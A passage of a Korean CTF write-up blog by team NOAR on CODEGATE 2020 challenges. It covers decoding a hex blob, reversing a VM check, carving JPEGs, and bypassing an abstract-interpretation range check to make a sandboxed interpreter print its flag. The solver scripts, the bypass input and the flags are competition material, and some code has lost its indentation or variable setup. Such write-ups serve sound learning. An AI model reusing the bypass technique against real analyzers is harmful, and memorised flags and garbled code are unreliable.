x5F\x29\x2F\x2F\x76\x66\x34\x3D\x34\x2E\x75\x3D\x41\x47\x2F\x5A\x79\x6D\x5F\x79\x78\x70\x26\x54\x42\x78\x36\x54\x51\x30\x31\x29\x6F\x2D\x38\x36\x31\x3F\x32\x73\x21\x6D\x4C\x2C\x7A\x6B\x7D\x68\x53\x3D\x79\x75\x62\x36\x79\x22\x41\x2A\x4C\x60\x35\x2F\x40\x39\x27\x72\x7B\x7A\x6C\x3C\x5D\x26\x2E\x3F\x21\x2C\x58\x6D\x38\x47\x2E\x3F\x5B\x2D\x5F\x5D\x5F\x23\x21\x6C\x40\x29\x2B\x40\x38\x46\x32\x4B\x35\x75\x22\x61\x24\x4C\x63\x69\x32\x63\x55\x5F\x34\x2B\x27\x68\x52\x46\x4E\x3B\x72\x7B\x3E\x70\x51\x42\x2B\x2B\x63\x6C\x7D\x5A\x29\x69\x27\x31\x3C\x5C\x42\x75\x7E\x6E\x74\x38\x43\x5F\x61\x68\x41\x55\x5B\x78\x35\x6C\x6E\x3F\x3A\x75\x7B\x56\x4A\x41\x76\x56\x2E\x3F\x27\x52\x49\x4A\x74\x2A\x24\x38\x41\x75\x45\x71\x6B\x63\x66\x75\x43\x65\x4D\x78\x5D\x79\x59\x5E\x58\x6F\x4C\x42\x57\x51\x52\x5E\x63\x31\x6A\x69\x59\x2C\x6B\x46\x7E\x6F\x27\x30\x65\x63\x2C\x4D\x32\x2A\x3D\x44\x3F\x61\x67\x55\x2D\x2F\x7D\x42\x58\x51\x69\x70\x31\x5F\x6A\x3B\x7D\x2A\x59\x67\x22\x67\x3E\x4B\x60\x3A\x63\x7D\x44\x3A\x51\x59\x4E\x5A\x60\x68\x46\x72\x52\x79\x39\x31\x57\x60\x39\x71\x27\x60\x52\x64\x2B\x79\x6F\x23\x33\x54\x27\x2E\x2A\x70\x4C\x7A\x25\x79\x3D\x76\x56\x6C\x3E\x76\x74\x49\x3C\x49\x6B\x26\x7B\x28\x3F\x2C\x32\x2B\x69\x22\x64\x5F\x7E\x67\x29\x7A\x35\x66\x27\x4A\x66\x76\x3C\x2A\x2A\x34\x2B\x39\x53\x42\x4E\x41\x66\x47\x67\x2D\x3A\x31\x6D\x23\x3D\x62\x74\x7B\x2C\x28\x35\x6F\x27\x6E\x5F\x4C\x5A\x4C\x52\x2F\x5A\x74\x73\x5F\x49\x7E\x63\x33\x6E\x4A\x75\x6B\x70\x54\x5C\x6E\x49\x5B\x6D\x3E\x3B\x35\x4F\x2D\x36\x32\x66\x4B\x7C\x46\x3D\x6C\x7A\x49\x5D\x69\x23\x26\x57\x33\x28\x25\x6D\x48\x48\x42\x4A\x79\x26\x4D\x49\x4C\x4A\x67\x76\x39\x26\x6E\x6D\x79\x7B\x26\x78\x79\x5B\x39\x74\x51\x5B\x30\x6E\x4C\x57\x34\x51\x60\x74\x4D\x6F\x6A\x3F\x4F\x50\x55\x56\x72\x42\x71\x69\x2C\x61\x4B\x2E\x2A\x26\x35\x71\x63\x25\x4E\x69\x5A\x22\x39\x3F\x25\x47\x45\x33\x64\x5F\x50\x7A\x3F\x21\x2C\x33\x3C\x6C\x57\x5B\x48\x65\x2B\x68\x53\x36\x27\x7D\x65\x5F\x2B\x23\x3C\x7A\x2B\x43\x74\x34\x7A\x6C\x4D\x6F\x60\x71\x43\x2C\x72\x53\x2A\x36\x7E\x58\x39\x4E\x2B\x30\x7C\x7C\x79\x33\x79\x7C\x77\x61\x45\x4F\x4E\x44\x4B\x29\x35\x41\x4E\x31\x67\x60\x33\x4A\x2A\x34\x63\x45\x3C\x59\x74\x60\x4B\x62\x2D\x3E\x58\x51\x44\x32\x3A\x54\x62\x44\x66\x71\x59\x3F\x3A\x50\x4E\x5A\x3D\x65\x23\x5C\x55\x37\x4D\x5F\x43\x3B\x64\x48\x52\x2E\x21\x2D\x60\x4F\x68\x33\x57\x41\x6D\x27\x78\x67\x31\x48\x4C\x74\x44\x49\x6D\x70\x7A\x23\x5F\x23\x68\x46\x2F\x59\x7C\x32\x4F\x2D\x43\x41\x30\x22\x5A\x71\x5F\x54\x24\x24\x6A\x79\x66\x54\x55\x6B\x55\x6A\x74\x68\x22\x59\x43\x43\x3D\x55\x2E\x75\x65\x49\x38\x3C\x7D\x4F\x62\x28\x39\x3B\x6C\x6F\x3F\x49\x40\x5E\x4E\x6E\x3A\x3A\x48\x29\x56\x3A\x69\x3A\x3E\x3C\x4F\x46\x23\x47\x5A\x29\x36\x77\x49\x2B\x4E\x47\x28\x67\x59\x7C\x68\x7D\x41\x77\x37\x67\x2B\x68\x39\x5A\x6B\x51\x4D\x6E\x7D\x67\x4B\x26\x6B\x3F\x31\x2A\x68\x24\x56\x3D\x59\x64\x39\x5E\x4B\x23\x67\x67\x6D\x2F\x3E\x46\x6A\x2A\x63\x3F\x37\x4B\x75\x5F\x60\x56\x4F\x21\x39\x57\x72\x3E\x46\x77\x53\x6E\x38\x48\x35\x5A\x6C\x21\x3A\x46\x2C\x7D\x3C\x2C\x70\x73\x5D\x49\x28\x42\x4B\x40\x75\x7E\x42\x6A\x67\x4B\x40\x25\x6A\x43\x59\x6A\x73\x21\x6A\x45\x5B\x67\x21\x4B\x25\x77\x5F\x46\x4B\x32\x51\x72\x41\x2E\x7A\x30\x69\x54\x7B\x5B\x26\x41\x21\x45\x27\x5C\x39\x74\x52\x60\x3E\x60\x33\x59\x2F\x3B\x58\x64\x2A\x78\x70\x56\x22\x5B\x25\x6F\x2D\x22\x62\x44\x47\x54\x45\x52\x71\x68\x29\x7B\x26\x44\x70\x44\x49\x63\x4A\x54\x29\x65\x2B\x32\x34\x66\x4A\x72\x79\x7B\x4C\x7C\x5B\x36\x2B\x6B\x33\x4C\x33\x7D\x50\x36\x79\x48\x7C\x56\x4A\x48\x45\x5C\x47\x4F\x5E\x72\x36\x7D\x27\x57\x5E\x72\x76\x36\x6C\x26\x3E\x35\x2D\x26\x40\x5E\x44\x32\x74\x56\x4B\x6A\x4E\x58\x4B\x44\x34\x59\x6C\x50\x71\x41\x3C\x69\x3A\x28\x69\x39\x25\x4A\x42\x39\x63\x67\x2C\x7E\x4E\x59\x6D\x74\x31\x76\x22\x62\x78\x48\x55\x77\x6C\x24\x2D\x55\x59\x66\x68\x21\x41\x31\x77\x21\x5F\x5D\x44\x48\x45\x3A\x64\x4A\x56\x33\x47\x40\x5E\x4B\x63\x29\x51\x71\x57\x67\x2B\x79\x57\x30\x26\x26\x55\x4E\x44\x69\x78\x2C\x5E\x6D\x2E\x5A\x68\x59\x32\x5F\x2F\x29\x4D\x74\x5C\x27\x67\x2A\x52\x3F\x60\x70\x37\x5A\x3C\x5C\x4B\x7A\x46\x58\x50\x6D\x55\x7E\x78\x5A\x29\x6F\x48\x76\x2B\x67\x4D\x4E\x34\x64\x37\x2F\x41\x69\x4E\x4A\x30\x70\x2C\x61\x24\x61\x4F\x3D\x79\x22\x3A\x32\x56\x55\x68\x36\x75\x5E\x33\x42\x72\x26\x56\x2E\x3A\x49\x33\x62\x63\x3C\x55\x27\x63\x69\x41\x5B\x3C\x76\x7D\x31\x7B\x30\x78\x4E\x52\x50\x3A\x72\x7D\x5A\x53\x79\x67\x55\x2E\x72\x71\x45\x29\x6F\x63\x68\x6E\x57\x3E\x2E\x5C\x6D\x3E\x71\x62\x6F\x27\x54\x2D\x44\x43\x3C\x2E\x7D\x57\x68\x42\x3D\x50\x54\x59\x38\x22\x3D\x5B\x7D\x28\x41\x2E\x58\x36\x58\x5A\x56\x63\x24\x43\x49\x64\x59\x4C\x52\x3B\x57\x57\x21\x60\x6E\x52\x3A\x67\x47\x70\x3B\x49\x64\x58\x44\x24\x7E\x5B\x59\x5D\x4E\x4C\x79\x43\x43\x35\x3C\x59\x6B\x72\x61\x53\x37\x2C\x30\x49\x45\x31\x24\x62\x7A\x37\x2B\x4B\x3C\x40\x59\x6B\x3D\x63\x2D\x47\x4E\x3E\x45\x24\x4A\x49\x52\x2E\x6D\x2F\x63\x70\x65\x4E\x4C\x29\x5C\x23\x27\x6C\x4A\x57\x36\x59\x52\x2E\x50\x3F\x67\x79\x72\x61\x62\x41\x2C\x2C\x74\x52\x3F\x4D\x67\x49\x63\x43\x2E\x3C\x3B\x3E\x45\x7A\x5D\x5F\x4F\x64\x65\x6F\x74\x5D\x43\x23\x7B\x59\x61\x25\x71\x32\x75\x4A\x37\x63\x61\x2A\x4B\x6C\x64\x63\x43\x4D\x79\x39\x25\x43\x31\x4E\x31\x50\x72\x67\x52\x60\x64\x2E\x74\x6E\x2A\x36\x3B\x6B\x53\x79\x5C\x62\x3F\x54\x7C\x32\x7B\x74\x57\x64\x68\x43\x28\x2B\x4B\x4A\x48\x21\x38\x5F\x28\x22\x66\x5E\x29\x43\x5C\x6D\x75\x24\x4C\x38\x53\x44\x79\x5B\x4C\x46\x76\x4F\x56\x46\x26\x6A\x61\x42\x62\x4D\x33\x3F\x69\x44\x66\x66\x2F\x52\x3B\x65\x3A\x30\x46\x2F\x5C\x36\x47\x5A\x5C\x66\x6D\x5D\x32\x2E\x76\x21\x79\x37\x2F\x36\x21\x33\x47\x44\x4C\x59\x72\x74\x62\x43\x7E\x40\x43\x37\x23\x39\x6C\x64\x34\x58\x39\x6E\x51\x5B\x3B\x6E\x50\x69\x51\x71\x5E\x62\x31\x4A\x7B\x2C\x58\x50\x71\x5A\x3B\x4F\x5D\x40\x76\x5A\x41\x5F\x29\x42\x66\x36\x4C\x39\x3D\x4E\x4F\x33\x45\x64\x7B\x34\x21\x5E\x37\x63\x58\x39\x2D\x58\x24\x32\x38\x7E\x66\x58\x51\x71\x77\x34\x3C\x6A\x69\x25\x73\x5F\x34\x3B\x2F\x69\x37\x27\x46\x29\x40\x65\x7B\x74\x39\x35\x5A\x7D\x45\x5E\x57\x72\x50\x39\x54\x58\x2D\x60\x29\x41\x72\x23\x32\x73\x78\x21\x2B\x3D\x39\x32\x31\x47\x52\x51\x71\x4C\x26\x35\x4E\x7A\x29\x34\x62\x63\x74\x4C\x61\x5F\x76\x39\x62\x30\x70\x6E\x4A\x73\x58\x41\x4E\x71\x2F\x67\x55\x55\x2A\x6F\x6B\x3D\x70\x33\x6B\x2A\x24\x3C\x31\x34\x3F\x77\x59\x37\x37\x6C\x4C\x5F\x7D\x59\x41\x48\x2B\x2B\x46\x35\x4D\x3F\x57\x29\x78\x3C\x69\x5C\x40\x40\x4A\x32\x58\x32\x21\x4E\x2D\x32\x6C\x2F\x4B\x3B\x67\x29\x56\x5F\x4E\x51\x66\x2C\x37\x4A\x7A\x53\x3A\x75\x2F\x22\x4C\x64\x3C\x3D\x5C\x44\x5D\x4D\x63\x4B\x32\x3F\x40\x74\x6A\x2B\x5F\x35\x23\x3A\x5E\x7D\x5B\x33\x25\x5D\x5F\x6F\x25\x68\x21\x5F\x2A\x22\x42\x40\x55\x66\x76\x77\x60\x24\x6C\x6C\x77\x5D\x3D\x4A\x27\x41\x47\x5E\x72\x62\x6D\x3B\x61\x65\x7E\x67\x39\x34\x56\x5D\x30\x62\x6E\x28\x5D\x5F\x3E\x68\x78\x64\x64\x56\x6B\x77\x3C\x70\x58\x46\x33\x32\x65\x42\x6F\x7A\x30\x40\x2B\x42\x55\x46\x48\x6B\x4B\x51\x3C\x72\x78\x21\x5F\x21\x6A\x6E\x47\x51\x73\x26\x3B\x4A\x64\x21\x2D\x42\x50\x46\x4C\x5F\x37\x39\x4C\x2B\x4A\x79\x5B\x2F\x21\x61\x78\x4E\x56\x32\x55\x2D\x61\x47\x5C\x6A\x4A\x6B\x2D\x6A\x32\x4C\x3C\x76\x2E\x6F\x3A\x43\x6D\x27\x7D\x76\x44\x26\x56\x24\x77\x3D\x5D\x22\x5D\x40\x51\x41\x39\x70\x7C\x4D\x41\x36\x28\x33\x4B\x5A\x5E\x25\x75\x2C\x72\x5D\x6E\x3E\x44\x76\x42\x56\x3D\x7E\x2F\x30\x38\x23\x54\x6B\x5B\x5E\x66\x42\x6E\x45\x24\x31\x6E\x6C\x48\x43\x28\x24\x47\x6D\x26\x21\x6C\x47\x4D\x5E\x44\x44\x58\x25\x4D\x39\x75\x67\x3C\x2D\x56\x35\x35\x32\x3C\x35\x73\x6C\x34\x7B\x73\x5A\x40\x61\x5A\x59\x6E\x5C\x36\x72\x24\x70\x29\x33\x72\x6D\x75\x4F\x47\x68\x30\x4C\x5C\x6D\x22\x59\x21\x61\x5A\x56\x7D\x63\x42\x59\x35\x56\x22\x3F\x6C\x42\x2A\x72\x25\x32\x71\x58\x6C\x58\x33\x35\x4B\x7D\x38\x5C\x3B\x36\x34\x52\x3E\x67\x24\x4E\x4D\x5F\x6F\x65\x77\x71\x49\x5D\x57\x6C\x43\x42\x7B\x77\x6C\x66\x68\x49\x46\x63\x44\x50\x33\x79\x64\x24\x67\x44\x6F\x28\x49\x2A\x34\x5D\x7B\x6A\x72\x4A\x31\x52\x3E\x39\x39\x33\x3B\x23\x51\x5F\x52\x74\x28\x7E\x60\x4C\x47\x7C\x28\x28\x2A\x57\x7D\x22\x2E\x50\x7D\x59\x33\x7C\x35\x2A\x76\x2D\x3B\x50\x22\x76\x66\x7A\x2D\x66\x5E\x65\x7C\x58\x34\x67\x7D\x6A\x2E\x43\x67\x79\x3A\x50\x74\x65\x35\x38\x57\x71\x31\x38\x75\x7B\x36\x6A\x42\x4A\x45\x40\x6B\x5B\x74\x63\x36\x49\x7B\x2E\x47\x41\x57\x6A\x6D\x43\x34\x2A\x3A\x6C\x2A\x3F\x36\x7E\x75\x2E\x69\x69\x32\x67\x27\x33\x67\x49\x59\x2B\x4B\x45\x45\x5A\x77\x4E\x33\x48\x53\x3F\x63\x27\x47\x3E\x77\x24\x3E\x55\x42\x78\x23\x68\x36\x2B\x2F\x7B\x22\x78\x79\x2D\x6A\x37\x72\x37\x2B\x45\x3E\x37\x4D\x5C\x4B\x61\x2C\x5B\x70\x77\x5C\x52\x2D\x3F\x2D\x46\x54\x39\x4D\x33\x78\x47\x6D\x27\x25\x7E\x7D\x76\x60\x63\x54\x65\x7B\x70\x47\x7C\x51\x52\x3F\x72\x21\x51\x3E\x2F\x70\x70\x39\x5E\x7B\x79\x32\x6F\x7B\x76\x72\x2B\x65\x65\x37\x64\x34\x3D\x52\x5E\x23\x41\x6F\x72\x74\x3C\x7C\x5F\x4C\x6A\x76\x39\x5C\x75\x42\x3E\x35\x59\x2C\x39\x67\x78\x49\x79\x47\x37\x3E\x79\x61\x4D\x2E\x28\x49\x4E\x34\x71\x5A\x5B\x33\x45\x2C\x2B\x69\x33\x32\x2A\x5C\x5A\x6B\x65\x54\x26\x7D\x63\x31\x4E\x33\x7E\x6B\x67\x5F\x3D\x67\x4D\x54\x5E\x45\x45\x75\x49\x28\x4B\x33\x34\x7A\x72\x5D\x72\x49\x48\x27\x75\x7C\x6B\x4A\x60\x25\x62\x6D\x29\x30\x6C\x3F\x34\x49\x2B\x45\x2D\x58\x54\x35\x42\x41\x7D\x31\x4A\x64\x67\x6D\x5A\x34\x46\x4E\x39\x3C\x59\x34\x35\x2C\x3E\x7E\x5F\x32\x37\x68\x7B\x29\x57\x44\x5E\x24\x72\x50\x44\x37\x68\x7E\x45\x56\x60\x4A\x38\x77\x53\x43\x50\x4A\x37\x62\x22\x45\x4B\x7C\x57\x7A\x63\x44\x4D\x55\x2F\x50\x44\x65\x6C\x78\x49\x34\x61\x5E\x65\x34\x25\x3C\x3A\x43\x63\x40\x7D\x24\x7C\x75\x59\x7A\x33\x4C\x59\x47\x65\x78\x3B\x30\x25\x66\x33\x32\x58\x48\x7C\x7C\x3E\x32\x70\x26\x66\x35\x24\x30\x2C\x44\x76\x72\x28\x54\x64\x3D\x5E\x42\x51\x36\x76\x40\x54\x50\x51\x3F\x46\x55\x44\x53\x5F\x4D\x4B\x26\x78\x78\x5A\x2B\x34\x31\x63\x3B\x41\x56\x62\x32\x58\x54\x26\x32\x28\x57\x49\x31\x5B\x46\x71\x40\x42\x55\x7C\x33\x40\x2D\x3D\x3D\x49\x73\x2B\x5D\x32\x2A\x5C\x2A\x5E\x71\x62\x53\x26\x26\x53\x2B\x56\x74\x6A\x5E\x4B\x68\x62\x2A\x67\x5C\x3B\x31\x2F\x5E\x4E\x6D\x57\x6E\x6E\x73\x53\x56\x35\x3A\x22\x5A\x6F\x44\x39\x2D\x23\x21\x42\x74\x4B\x3C\x74\x61\x38\x24"

#print(hex(a.index("\x6e\x2f\x26")))

for k in range(0, len(a), 0x200):
flag = ""
cx = 2
bx = 0x1000
for i in range(0x23):
ax = (0x00 << 8) | (cx & 0xff)
ax = ax - 2
ax = ax * 0x0d
ax = ax + 1

flag += chr(ord(a[(k + i * 0x200 + ax) % len(a)]) & 0xfffffff)
cx += 1
print(flag)
``````

위의 코드를 실행해주게 되면, `printable` 한 문자열이 나오게 되는데 문장으로 될만한 내용이 플래그였습니다.

CODEGATE2020{8_bits_per_byte_1_byte_per_sector}

## SimpleMachine (333pt)

### Analysis `sub_17C0(vm_handler)`를 보면 간단한 연산과 비교하는 루틴이 있어서 코드 흐름을 보기 위해 `a1→unsigned30` opcode 0 ~ 4번에 bp를 걸고 동적디버깅하였다.

과정을 보면 처음 `'CO'` `'DE'` `'GA'` `'TE'` `'20'` `'20'` 문자열과 같은지 각각 2바이트씩 비교하고 다음 단계에선 특정 table과 연산한 결과를 비교한다. 이를 역연산하는 코드를 작성하면 플래그를 획득할 수 있다.

``````table = [0xF974, 0x2B9D, 0x4CAF, 0xBEE1, 0xFC0D, 0x6E48,
0xE03C, 0xD322, 0x1979, 0x36D6, 0x40E8, 0xCBF7, 0xDEAD]

result = ""
for t in table:
key = ((key * 2) & 0xFFFF) ^ key
m = (0x10000 - t) ^ key
result += chr(m & 0xFF) + chr(m >> 8)

print("CODEGATE2020" + result)
``````

CODEGATE2020{ezpz_but_1t_1s_pr3t3xt}

## LOL (27pt)

### Analysis

Legend.gif is actually JPEG File, so use foremost.

``````⚡ root@kkamikoon  ~/.../output/jpg  ls
00000000.jpg  00000358.jpg  00000789.jpg  00001181.jpg  00001509.jpg
00000178.jpg  00000573.jpg  00000993.jpg  00001344.jpg
`````` CODEGATE2020{J!n*_L00s3_C@^^0^}

## verifier (702pt)

### Analysis

python 컴파일러 문제.

``````> a=1; !a
1
``````

연산중 결과 범위를 domain이라는 자료에 저장하여 그 값이 얼마나 나올지 체크함. 이 결과를 우회하여 변수를 출력을 하면 플래그 획득 가능

``````class Print(Comm):
def __init__(self, expr):
self.expr = expr

def a_interp(self, env):
print("a_interp")
print(env)
a_val = self.expr.a_interp(env)
if a_val.infimum < 0:
raise ValueError("print domain error")
return env

def interp(self, env):
print("interp")
print(env)
value = self.expr.interp(env)

if value < 0:
with open('./flag') as f:
print(value)
return env
``````

취약점은 `while` 문에서 값의 `inf`를 체크하는 부분

``````def a_interp(self, env):
init_env = deepcopy(env)

for i in range(3):
tenv, _ = self.cond.a_interp(env)
if tenv is not None:
tenv = self.comm.a_interp(tenv)
env = env_join(env, tenv)

tenv, _ = self.cond.a_interp(env)
if tenv is not None:
tenv = self.comm.a_interp(tenv)
env = env_widen(env, tenv)
tenv, _ = self.cond.a_interp(env)
if tenv is not None:
tenv = self.comm.a_interp(tenv)
env = env_join(init_env, tenv)
a, fenv = self.cond.a_interp(env)

if fenv is None:
raise RuntimeError("loop analysis error")

return fenv
``````

`inf` 체크를 3번 돌리고 값이 변하는 지 판단하여 변한다면 `inf`로 체크한다. 3번 돌고 `env_widen`으로 나머지 돌며 값을 세팅하는데 이 안에서 값을 다른 변수에서 받게 되면 원래의 범위를 벗어날 수 있다.

``````a=3;
b=1; c=-1; d=1;
[b != 10 {
t=1;
b > 5 ? {
a = t-c;
c = c+t
}:{.};
b = b + d}];
!a
``````

CODEGATE2020{4bstr4ct_1nt3rpr3tat10n_f0r_54f3_3v41uat10n} #### Written by Team. NOAR

이 블로그의 글은 개인적인 학습을 목적으로 작성된 내용이므로 사실과 다르거나 잘못 기재된 내용이 있을 수 있습니다. 올바르지 않은 내용이나 수정해야 할 사항이 있다면 park.uiseong@gmail.com으로 연락주시면 감사하겠습니다.